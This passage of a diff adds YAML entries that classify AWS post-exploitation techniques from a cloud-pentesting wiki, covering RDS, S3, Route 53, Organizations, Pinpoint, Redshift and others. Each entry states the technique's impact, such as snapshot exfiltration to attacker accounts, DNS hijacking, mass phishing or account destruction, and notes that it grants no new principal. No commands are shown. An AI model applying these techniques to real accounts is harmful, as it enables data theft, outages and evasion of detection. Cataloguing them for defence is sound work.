goes dark, or is + redirected, reducing detection and forensic visibility while the attacker operates. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-manager-post-exploitation/README.md#networkmanagerputattachmentroutingpolicylabel---apply-or-remove-route-filters + technique: '`networkmanager:PutAttachmentRoutingPolicyLabel` - Apply or remove route filters' + reason: The section documents the resource or service effect of `networkmanager:PutAttachmentRoutingPolicyLabel` + - Apply or remove route filters, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-manager-post-exploitation/README.md#networkmanagertagresource--untagresource---move-an-attachment-through-tag-based-policy + technique: '`networkmanager:TagResource` / `UntagResource` - Move an attachment through tag-based policy' + reason: The section documents the resource or service effect of `networkmanager:TagResource` / `UntagResource` + - Move an attachment through tag-based policy, without a reusable AWS principal credential or arbitrary execution + under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-manager-post-exploitation/README.md#networkmanageracceptattachment--rejectattachment---admit-a-foreign-network-or-deny-a-legitimate-one + technique: '`networkmanager:AcceptAttachment` / `RejectAttachment` - Admit a foreign network or deny a legitimate + one' + reason: The section documents the resource or service effect of `networkmanager:AcceptAttachment` / `RejectAttachment` + - Admit a foreign network or deny a legitimat, without a reusable AWS principal credential or arbitrary execution + under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-manager-post-exploitation/README.md#networkmanagerputcorenetworkpolicy--networkmanagerexecutecorenetworkchangeset---rewrite-global-segmentation-and-routing + technique: '`networkmanager:PutCoreNetworkPolicy` + `networkmanager:ExecuteCoreNetworkChangeSet` - Rewrite global + segmentation and routing' + reason: The section documents the resource or service effect of `networkmanager:PutCoreNetworkPolicy` + `networkmanager:ExecuteCoreNetworkChangeSet` + - Rewrite globa, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-security-manager-post-exploitation/README.md#network-security-managerupdaterule--weaken-centrally-deployed-waf-protections + technique: '`network-security-manager:UpdateRule` — weaken centrally deployed WAF protections' + reason: 'Documented impact: Weaken WAF protection, monitoring or data handling across every in-scope ALB, API + Gateway stage or CloudFront distribution that consumes the rule. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-security-manager-post-exploitation/README.md#network-security-managerdeletedeployment--remove-centralized-enforcement + technique: '`network-security-manager:DeleteDeployment` — remove centralized enforcement' + reason: 'Documented impact: Stop central drift detection/remediation for the covered scope and, when cleanup is + enabled, remove Network Security Manager-created WAF or Shield protections. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-security-manager-post-exploitation/README.md#network-security-managerdeleteadminaccount--disable-one-administrators-multi-account-protections + technique: '`network-security-manager:DeleteAdminAccount` — disable one administrator''s multi-account protections' + reason: 'Documented impact: Disable every multi-account scope and deployment owned by that administrator and initiate + cleanup of its managed protections across the delegated organization scope. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-odb-post-exploitation/README.md#odbcreateautonomousdatabasewallet--export-fresh-database-client-material + technique: '`odb:CreateAutonomousDatabaseWallet` — export fresh database client material' + reason: 'Documented impact: Recover fresh TLS client keys/certificates and database connection configuration. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-opensearch-cross-account-post-exploitation/README.md#escreateoutboundconnection-esauthorizevpcendpointaccess--cross-account-data-plane-reach + technique: '`es:CreateOutboundConnection`, `es:AuthorizeVpcEndpointAccess` — cross-account data-plane reach' + reason: 'Documented impact: Extends the OpenSearch domain''s reachability to an attacker-controlled account — + a VPC-endpoint network path into the domain''s VPC, or a cross-cluster connection over which indices can be + searched/replicated — complementing... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md#organizationsdisableawsserviceaccess--deregisterdelegatedadministrator--blind-the-whole-orgs-security-stack-in-one-call + technique: '`organizations:DisableAWSServiceAccess` / `DeregisterDelegatedAdministrator` — blind the whole org''s + security stack in one call' + reason: 'Documented impact: Organization-wide loss of detection, posture or response management — GuardDuty, Security + Hub, Config, IAM Access Analyzer, CloudTrail or Security IR stop operating at org scope across member accounts. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md#organizationscloseaccount--destroy-member-accounts-from-the-management-account + technique: '`organizations:CloseAccount` — destroy member accounts from the management account' + reason: 'Documented impact: Irreversible destruction of entire member accounts and everything in them — the most + complete ransomware/wiper primitive available in AWS, since it removes the account rather than individual resources. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-partner-central-account-post-exploitation/README.md#recover-a-partner-verification-workflow--partnercentralgetverification + technique: Recover a Partner verification workflow — `partnercentral:GetVerification` + reason: 'Documented impact: disclose business registration identifiers, verification failures/state, and a live + verification-completion link. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-pcs-post-exploitation/README.md#pcsgetcluster-secretsmanagergetsecretvalue--forge-slurm-rest-jwts + technique: '`pcs:GetCluster`, `secretsmanager:GetSecretValue` — Forge Slurm REST JWTs' + reason: This heading concerns reading or exporting data via `pcs:GetCluster`, `secretsmanager:GetSecretValue` + — Forge Slurm REST JWTs; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-pinpoint-post-exploitation/README.md#sms-voicesendtextmessage--sendvoicemessage--smishing--vishing-from-a-trusted-origination-identity + technique: '`sms-voice:SendTextMessage` / `SendVoiceMessage` — smishing / vishing from a trusted origination identity' + reason: 'Documented impact: Send phishing SMS / automated voice calls from the victim''s trusted, deliverability-warmed + phone numbers, abusing the organization''s reputation against employees or customers. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-pinpoint-post-exploitation/README.md#mobiletargetingsendmessages--sendusersmessages--direct-multi-channel-send + technique: '`mobiletargeting:SendMessages` / `SendUsersMessages` — direct multi-channel send' + reason: 'Documented impact: Phishing across SMS/email/push/voice from the victim''s Pinpoint project, including + to endpoints already enrolled in it. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-pinpoint-post-exploitation/README.md#mobiletargetingcreatecampaign--createjourney--mass-phishing-to-the-victims-own-audience + technique: '`mobiletargeting:CreateCampaign` / `CreateJourney` — mass phishing to the victim''s own audience' + reason: 'Documented impact: One call phishes the organization''s entire stored audience (potentially millions + of endpoints) from its trusted channels; journeys make it an automated, recurring campaign. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-q-in-connect-post-exploitation/README.md#wisdomlistmessages--wisdomlistspans--read-conversations-and-ai-agent-traces + technique: '`wisdom:ListMessages` / `wisdom:ListSpans` — Read conversations and AI-agent traces' + reason: This heading concerns reading or exporting data via `wisdom:ListMessages` / `wisdom:ListSpans` — Read + conversations and AI-agent traces; it does not itself authorize a different AWS principal or execute code as + its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#harvest-db-credentials-via-rds-proxy-auth-secrets-rdsdescribedbproxies--secretsmanagergetsecretvalue + technique: Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) + reason: This heading concerns reading or exporting data via Harvest DB credentials via RDS Proxy auth secrets + (`rds:DescribeDBProxies` + `secretsmanager:GetSecr; it does not itself authorize a different AWS principal or + execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsdownloaddblogfileportion + technique: '`rds:DownloadDBLogFilePortion`' + reason: 'Documented impact: Access to sensitive information or unauthorized actions using leaked credentials. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdscreatebluegreendeployment-rdsmodifydbinstance + technique: '`rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`' + reason: 'Documented impact: A full clone of the production topology the attacker can reconfigure freely (public + access, new master password), and — if switchover is available — the ability to make that reconfigured clone + become production. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdscreatedbsnapshot-rdsrestoredbinstancefromdbsnapshot-rdsmodifydbinstance + technique: '`rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`' + reason: 'Documented impact: A fully attacker-controlled, internet-reachable copy of the production database with + a password the attacker sets — total read/write access to every row, without ever authenticating to the original + instance. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsrestore + technique: '`rds:Restore*`' + reason: 'Documented impact: A second copy of the data under an identifier the attacker chooses, optionally public + — reads the entire database while leaving production untouched and unalarmed. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsstartexporttask-iampassrole--export-a-snapshots-full-contents-to-attacker-s3 + technique: '`rds:StartExportTask`, `iam:PassRole` — export a snapshot''s full contents to attacker S3' + reason: 'Documented impact: Full exfiltration of a database''s contents (every table, including historical data + in old snapshots) into an attacker-controlled S3 bucket, with no second account, no live restore, and no network + path to the DB. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsmodifydbsnapshotattribute-rdscreatedbsnapshot + technique: '`rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`' + reason: 'Documented impact: Hand a complete copy of the database to an arbitrary AWS account — or to every AWS + account — which then restores and reads it entirely outside your account. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsmodifydbclustersnapshotattribute-rdscreatedbclustersnapshot + technique: '`rds:ModifyDBClusterSnapshotAttribute`, `rds:CreateDBClusterSnapshot`' + reason: 'Documented impact: Exfiltrate an entire Aurora/RDS cluster — every database in it — to an attacker-controlled + or public AWS account that restores it outside your account. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsstartexporttask-iampassrole-kms-key-use-permissions + technique: '`rds:StartExportTask`, `iam:PassRole`, KMS key-use permissions' + reason: 'Documented impact: Access to sensitive data in the exported snapshot. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#cross-region-automated-backups-replication-for-stealthy-restore-rdsstartdbinstanceautomatedbackupsreplication + technique: Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) + reason: 'Documented impact: A continuously-updated copy of the database''s backups in a region the defender may + not monitor, restorable at will — durable data access that survives remediation in the primary region. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdscreatedbinstancereadreplica-rdsmodifydbinstance + technique: '`rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`' + reason: 'Documented impact: A live, continuously-synced replica of production under an identifier the attacker + controls, optionally public — full read access to current data, and after promotion a writable copy. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#stealthy-continuous-exfiltration-via-aurora-zeroetl-to-amazon-redshift-rdscreateintegration + technique: Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration) + reason: 'Documented impact: A continuously-replicating, near-real-time feed of the Aurora database into a Redshift + warehouse — potentially in another account — that keeps delivering data indefinitely after the initial access + is closed. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsstopdbcluster--rdsstopdbinstance + technique: '`rds:StopDBCluster` & `rds:StopDBInstance`' + reason: 'Documented impact: Denial of service — the application loses its database. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsdelete + technique: '`rds:Delete*`' + reason: 'Documented impact: Irreversible destruction of databases, clusters, snapshots and automated backups — + full data loss and, when snapshots are deleted first, elimination of the recovery path. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsdeletedbinstance + technique: '`rds:DeleteDBInstance`' + reason: 'Documented impact: Deletion of existing RDS instances, and potential loss of data. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsmodify + technique: '`rds:Modify*`' + reason: 'Documented impact: Depending on the sub-action: reset the master password to gain DB access, expose the + instance publicly, disable backups/encryption-in-transit, or point the instance at an attacker-controlled parameter + or option group. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-redshift-post-exploitation/README.md#redshift-dataexecutestatement---run-sql-without-a-database-network-route + technique: '`redshift-data:ExecuteStatement` - run SQL without a database network route' + reason: 'Documented impact: Remote execution of every SQL operation granted to the database identity, including + reading sensitive tables, modifying data, creating database users, or invoking AWS integrations available to + that user, without direct access... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-redshift-post-exploitation/README.md#redshiftauthorizesnapshotaccess---share-a-provisioned-snapshot-cross-account + technique: '`redshift:AuthorizeSnapshotAccess` - share a provisioned snapshot cross-account' + reason: 'Documented impact: Durable cross-account exfiltration of the complete database image. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-redshift-post-exploitation/README.md#redshiftauthorizedatashare---expose-a-live-datashare-to-another-account + technique: '`redshift:AuthorizeDataShare` - expose a live datashare to another account' + reason: 'Documented impact: Live cross-account read access to shared production objects, and potentially writes + when both the authorization and datashare objects allow them. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-redshift-post-exploitation/README.md#redshift-serverlessputresourcepolicy---share-a-serverless-snapshot-cross-account + technique: '`redshift-serverless:PutResourcePolicy` - share a Serverless snapshot cross-account' + reason: 'Documented impact: Cross-account restoration and durable exfiltration of a Serverless namespace snapshot. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-refactor-spaces-post-exploitation/README.md#refactor-spacescreateservice--refactor-spacescreateroute---intercept-selected-application-requests + technique: '`refactor-spaces:CreateService` + `refactor-spaces:CreateRoute` - Intercept selected application requests' + reason: The section documents the resource or service effect of `refactor-spaces:CreateService` + `refactor-spaces:CreateRoute` + - Intercept selected application req, without a reusable AWS principal credential or arbitrary execution under + another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-refactor-spaces-post-exploitation/README.md#refactor-spacesupdateroute---disable-a-specific-route-and-force-default-route-fallback + technique: '`refactor-spaces:UpdateRoute` - Disable a specific route and force default-route fallback' + reason: This heading concerns removal, disruption or access denial via `refactor-spaces:UpdateRoute` - Disable + a specific route and force default-route fallback; it does not grant the caller a different principal. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-resource-explorer-inventory-post-exploitation/README.md#resource-explorer-2getview--search--cross-service-metadata-oracle + technique: '`resource-explorer-2:GetView` + `Search` — cross-service metadata oracle' + reason: 'Documented impact: Cross-service reconnaissance of resource names, ARNs, account/Region placement, types, + timestamps, and optional properties without target-service enumeration permissions. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-resource-tag-inventory-post-exploitation/README.md#taggetresources--cross-service-arn-and-tag-value-disclosure + technique: '`tag:GetResources` — cross-service ARN and tag-value disclosure' + reason: 'Documented impact: Discover cross-service resource ARNs, naming conventions, organization/environment + metadata, and every exposed tag value without native service enumeration permissions. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-resource-tag-inventory-post-exploitation/README.md#tagstartreportcreation--export-organization-wide-tag-inventory-to-a-chosen-s3-bucket + technique: '`tag:StartReportCreation` — export organization-wide tag inventory to a chosen S3 bucket' + reason: 'Documented impact: Cross-account exfiltration of an organization-wide inventory of tagged resource ARNs, + tag values, account structure clues, and tag-policy compliance to an attacker-readable S3 bucket. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-arc-routing-control-post-exploitation/README.md#route53-recovery-clusterupdateroutingcontrolstates--reroute-traffic-and-override-safety-rules + technique: '`route53-recovery-cluster:UpdateRoutingControlState(s)` — reroute traffic and override safety rules' + reason: 'Documented impact: Drain an active application cell, direct users to a standby or compromised cell, force + a failover during an unsafe period, or override a last-cell-on assertion and make all protected cells ineligible. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-dns-takeover-post-exploitation/README.md#route53changeresourcerecordsets--existing-zone-dns-takeover + technique: '`route53:ChangeResourceRecordSets` — Existing-zone DNS takeover' + reason: 'Documented impact: Redirect or disable web, API, email, service-discovery, and validation traffic for + names in the affected zone. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-dns-takeover-post-exploitation/README.md#route53createvpcassociationauthorization--expose-a-private-hosted-zone-to-an-attacker-vpc + technique: '`route53:CreateVPCAssociationAuthorization` — expose a private hosted zone to an attacker VPC' + reason: 'Documented impact: Cross-account exposure of a private hosted zone — the attacker''s VPC gains the victim''s + internal DNS resolution, revealing internal endpoints and enabling name-based redirection/MITM from attacker-controlled + infrastructure. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-global-resolver-post-exploitation/README.md#route53globalresolvergetaccesstoken--recover-a-dohdot-client-token + technique: '`route53globalresolver:GetAccessToken` — recover a DoH/DoT client token' + reason: 'Documented impact: High-impact credential disclosure. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-profiles-post-exploitation/README.md#associateresourcetoprofile--updateprofileresourceassociation--propagate-malicious-dns-configuration + technique: '`AssociateResourceToProfile` / `UpdateProfileResourceAssociation` — propagate malicious DNS configuration' + reason: 'Documented impact: DNS-based traffic redirection or denial, bulk query-name disclosure, bypass or weakening + of DNS filtering, and propagation of a malicious endpoint/configuration to every attached VPC. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-profiles-post-exploitation/README.md#associateprofile--apply-an-attacker-controlled-shared-profile-to-a-victim-vpc + technique: '`AssociateProfile` — apply an attacker-controlled shared Profile to a victim VPC' + reason: 'Documented impact: cross-account propagation of private DNS answers, forwarding rules, filtering, query + logging and endpoint private DNS into the victim VPC. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-profiles-post-exploitation/README.md#disassociateprofile--disassociateresourcefromprofile--remove-centralized-dns-controls + technique: '`DisassociateProfile` / `DisassociateResourceFromProfile` — remove centralized DNS controls' + reason: 'Documented impact: defense evasion and DNS outage across one VPC or every VPC consuming the Profile. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-resolver-post-exploitation/README.md#route53resolverupdateresolverrule--repoint-an-existing-forwarding-rule-at-attacker-dns + technique: '`route53resolver:UpdateResolverRule` — repoint an existing forwarding rule at attacker DNS' + reason: 'Documented impact: Hijack DNS resolution for the rule''s domain across every associated VPC — resolve + internal names to attacker IPs and man-in-the-middle the workloads'' traffic, without changing any application + configuration. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-resolver-post-exploitation/README.md#route53resolvercreateresolverrule--associateresolverrule--add-a-new-forwarding-hijack + technique: '`route53resolver:CreateResolverRule` + `AssociateResolverRule` — add a new forwarding hijack' + reason: 'Documented impact: Establish DNS forwarding for a chosen domain in a target VPC and resolve it through + attacker DNS — a from-scratch DNS-hijack foothold, potentially cross-account when the rule is shared through + RAM. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rtb-fabric-post-exploitation/README.md#rtbfabricupdaterespondergateway--replace-a-managed-responder-backend + technique: '`rtbfabric:UpdateResponderGateway` — replace a managed responder backend' + reason: 'Documented impact: Redirect future OpenRTB requests to attacker-controlled or compromised compute, exposing + bid-request data and allowing manipulated bids/no-bids, response tampering or an application outage. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rtb-fabric-post-exploitation/README.md#rtbfabriccreateoutboundexternallink--stage-a-public-exfiltration-destination + technique: '`rtbfabric:CreateOutboundExternalLink` — stage a public exfiltration destination' + reason: 'Documented impact: If the requester is subsequently configured to use the link, receive OpenRTB request + payloads at a public endpoint, manipulate responses, or create a selective outage. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rtb-fabric-post-exploitation/README.md#rtbfabricupdatelinkmoduleflow--suppress-filter-or-alter-bid-traffic + technique: '`rtbfabric:UpdateLinkModuleFlow` — suppress, filter or alter bid traffic' + reason: 'Documented impact: Drop all or selected bid traffic, throttle transaction volume, selectively exclude + valuable requests, or inject a header that changes downstream routing, policy or analytics. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-files-post-exploitation/README.md#s3filesupdatemounttarget--createmounttarget--network-exposure-of-the-data-plane + technique: '`s3files:UpdateMountTarget` / `CreateMountTarget` — network exposure of the data plane' + reason: 'Documented impact: Lateral movement / data access by exposing the file system''s NFS endpoint to an attacker-reachable + network segment. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#global-bucket-name-takeover-of-autonomous-writers---s3deletebucket + technique: Global bucket name takeover of autonomous writers - `s3:DeleteBucket` + reason: 'Documented impact: silent exfiltration of future replicated objects, logs, telemetry, backups, and pipeline + artifacts to an attacker-controlled AWS account. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putreplicationconfiguration--continuous-exfiltration-via-bucket-replication + technique: '`s3:PutReplicationConfiguration` — continuous exfiltration via bucket replication' + reason: 'Documented impact: Silent, continuous, server-side exfiltration of every object written to the bucket + into an attacker-controlled account, surviving credential rotation and requiring no further attacker activity. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3restoreobject + technique: '`s3:RestoreObject`' + reason: 'Documented impact: Recovery and theft of archived data (backups, old snapshots, historical logs) that + is otherwise offline, including secrets long removed from current objects. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putobject-on-an-ssm-aws-runremotescript-payload + technique: '`s3:PutObject` on an SSM `AWS-RunRemoteScript` payload' + reason: 'Documented impact: Local root/SYSTEM command execution on targeted managed nodes and access to the AWS + permissions exposed through each node''s credential chain. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putbucketnotification--wire-future-objects-into-a-pre-authorized-lambda + technique: '`s3:PutBucketNotification` — wire future objects into a pre-authorized Lambda' + reason: The bucket notification only routes later objects to an already authorized Lambda. Code execution further + requires a producer to upload an executable payload and a Lambda that treats it as code; PutBucketNotification + alone gives no role execution. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putbucketwebsite--hijack-a-static-sites-traffic-via-redirect-config + technique: '`s3:PutBucketWebsite` — hijack a static site''s traffic via redirect config' + reason: 'Documented impact: redirect a static site''s visitors (or a specific callback path) to an attacker host + for phishing, defacement, or theft of any secret carried in the request URL/query string, without modifying + a single object. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3delete + technique: '`s3:Delete*`' + reason: 'Documented impact: Destruction of the bucket''s objects and, with versioning suspended or version deletion + permitted, permanent loss of the data. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-configuration-access-post-exploitation/README.md#sagemakerdescribeappimageconfig-and-sagemakerlistappimageconfigs--read-plaintext-container-variables + technique: '`sagemaker:DescribeAppImageConfig` and `sagemaker:ListAppImageConfigs` — read plaintext container + variables' + reason: 'Documented impact: Disclosure of tokens, credentials, internal endpoints, or proprietary application + settings placed directly in custom-image environment variables. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-configuration-access-post-exploitation/README.md#sagemakerdescribemodel--inference-environment-secret-disclosure + technique: '`sagemaker:DescribeModel` — inference-environment secret disclosure' + reason: This heading concerns reading or exporting data via `sagemaker:DescribeModel` — inference-environment + secret disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-configuration-access-post-exploitation/README.md#sagemakerdescribetrainingjob--read-training-configuration-and-environment-values + technique: '`sagemaker:DescribeTrainingJob` — Read training configuration and environment values' + reason: 'Documented impact: Disclosure of ML deployment configuration, plaintext job variables, proprietary hyperparameters, + and sensitive dataset/model locations. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md#sagemaker-endpoint-data-siphon-via-updateendpoint-datacaptureconfig + technique: SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig + reason: The section documents the resource or service effect of SageMaker endpoint data siphon via UpdateEndpoint + DataCaptureConfig, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md#sagemaker-async-inference-output-hijack-via-updateendpoint-asyncinferenceconfig + technique: SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig + reason: The section documents the resource or service effect of SageMaker async inference output hijack via UpdateEndpoint + AsyncInferenceConfig, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md#secretsmanagerrestoresecret + technique: secretsmanager:RestoreSecret + reason: 'Documented impact: Restores access to a secret that was scheduled for deletion, including its stored + versions; this can re-enable dependent applications. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md#secretsmanagerupdatesecretversionstage + technique: secretsmanager:UpdateSecretVersionStage + reason: 'Documented impact: Consumers that request the default version receive the newly labeled value, which + can cause authentication failures if it is invalid. This section does not establish another AWS principal or + attacker-controlled role execution.' 